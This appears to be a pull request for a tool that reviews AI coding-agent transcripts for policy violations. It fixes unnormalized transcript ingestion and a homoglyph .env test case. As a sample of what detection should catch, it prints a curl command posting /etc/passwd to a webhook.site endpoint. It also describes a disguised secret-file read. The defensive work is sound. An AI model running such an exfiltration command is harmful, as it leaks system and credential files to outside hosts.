analyze/ingest --input: normalize agent transcripts; fix stale homoglyph policy-test

[Ar9av]

Summary

Two more issues found by exercising the forensics and policy-test commands on a fresh enforce install (continuation of #315; independent, no overlap).

#	Area	Severity	One-liner
1	cli.py (analyze/ingest)	High	analyze --input / ingest --input on a real session file silently reported 0 findings — raw transcript records were never normalized before evaluation
2	templates/policy-tests-owasp.yaml	Low	prismor policy test shipped a red self-test (homoglyph .еnv case asserted the wrong verdict)

---

1. analyze/ingest --input never normalized the transcript

prismor analyze --input <session.jsonl> and prismor ingest --input … read the raw on-disk records ({"type":"assistant","message":{"content":[{"type":"tool_use",…}]}}) and passed them straight to the policy engine, which expects normalized events. So a session file containing a blatant exfil call —

curl -s http://webhook.site/x -d @/etc/passwd

— evaluated to 0 findings. That's a silent miss on exactly the after-the-fact review these commands exist for. (ingest --discover was unaffected — it already runs the adapter chain.)

Fix: a new normalize_transcript_events() runs raw records through the same adapter.record_to_payloads → normalize_payload → engine event chain the discover/sweep path uses. Already-normalized input (live hook payloads, hand-authored policy events) passes through untouched.

Before — malicious session, 0 findings:

After — same file, the exfil call is caught (3 findings):

2. prismor policy test shipped red

The bundled OWASP pack's homoglyph case asserted warn, but the confusable-folding rescan folds .еnv → .env so secret-access blocks the disguised read (same verdict as an ASCII .env read) while unicode-confusable also fires. Detection is stricter than the test — so the test, not the engine, was wrong. Updated to assert block while still requiring the unicode-confusable rule to trip.

Before (27/28) → After (28/28):

---

Bonus: enforce mode verified end to end

Not a fix — evidence the enforce path blocks. Feeding blocked tool calls to the live hook-dispatch (exactly what Claude Code invokes) denies them with exit 2:

Testing

• 2 new regression tests in tests/test_transcripts.py (raw-transcript normalization → findings; already-normalized pass-through). Full test_transcripts.py: 31 passed.
• prismor policy test: 28/28.

Screenshots are real captures from a clean host on the throwaway pr-assets/cloak-fix branch (not part of this diff).